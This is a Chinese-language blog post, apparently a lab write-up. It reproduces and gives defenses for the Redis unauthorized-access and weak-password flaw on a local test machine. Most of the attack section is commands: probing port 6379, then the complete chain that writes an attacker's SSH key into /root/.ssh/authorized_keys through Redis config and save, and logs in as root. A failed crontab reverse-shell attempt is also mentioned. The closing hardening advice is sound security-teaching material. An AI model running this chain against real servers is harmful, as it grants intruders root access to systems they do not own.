0%

redis未授权&弱密码漏洞复现和防护

漏洞复现

0x00 靶机配置

  1. IP:192.168.99.100

  2. 使用apt install redis-server安装redis服务

  3. vi /etc/redis/redis.conf,注释掉bind 127.0.0.1 ::1即让redis监听所有网段

  4. 新版的redis无密码时会触发保护模式,使用CONFIG SET protected-mode no解除保护模式

  5. 以root身份启动redis

    1
    2
    3
    4
    root@anemone-VirtualBox:/etc# ps -ef|grep redis-server
    redis 2847 1 0 21:05 ? 00:00:04 /usr/bin/redis-server *:6379
    root@anemone-VirtualBox:/etc# kill -9 2847
    root@anemone-VirtualBox:/etc# redis-server

0x01检测是否存在漏洞

在攻击机上探测端口是否开放,redis默认端口为6379:

1
2
$ nc -nv 192.168.99.100 6379
(UNKNOWN) [192.168.99.100] 6379 (?) open

使用apt install redis安装redis,接着尝试连接:

1
2
3
4
5
6
7
8
9
10
$ redis-cli -h 192.168.99.100
192.168.99.100:6379> info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:76095d16786fbcba
redis_mode:standalone
os:Linux 4.15.0-30-generic x86_64
arch_bits:64

0x02 写ssh公钥实现远程登陆

首先生产密钥对:

1
ssh-keygen -t rsa

将公钥制作成上传文件:

1
(echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > upload.txt

将上传文件保存在redis-cli的临时变量中:

1
cat ~/upload.txt | redis-cli -h 192.168.99.100 -x set tmp

连接redis,将tmp变量的内容写入/root/.ssh/authorized_keys:

1
2
3
4
5
redis-cli -h 192.168.99.100
config set dir /root/.ssh
config set dbfilename authorized_keys
get tmp
save

接着使用私钥即可登陆靶机:

1
ssh -i ~/.ssh/id_rsa root@192.168.99.100

可以发现登陆成功:

1546674370840

0x03 写crontab文件反弹shell

crontab跟ssh差不多,但是笔者再ubuntu18.04中复现失败,原因是写入的crontab文件存在redis的一些字符,导致格式不正确:

1546674683585

防护

  1. 使用apt install redis-server的方式安装,并且使用service redis start启动redis,这样redis会在一个低权限用户下运行:

    1546674830672

  2. 若必须以root身份运行,为redis设置一定强度的密码(实际复现中我们可以发现,新版redis在以root运行,不设置密码的情况下会启动保护模式,只允许本地cli)

  3. 定时检查redis日志:

    1546674924759

参考资料

  1. Redis未授权访问详解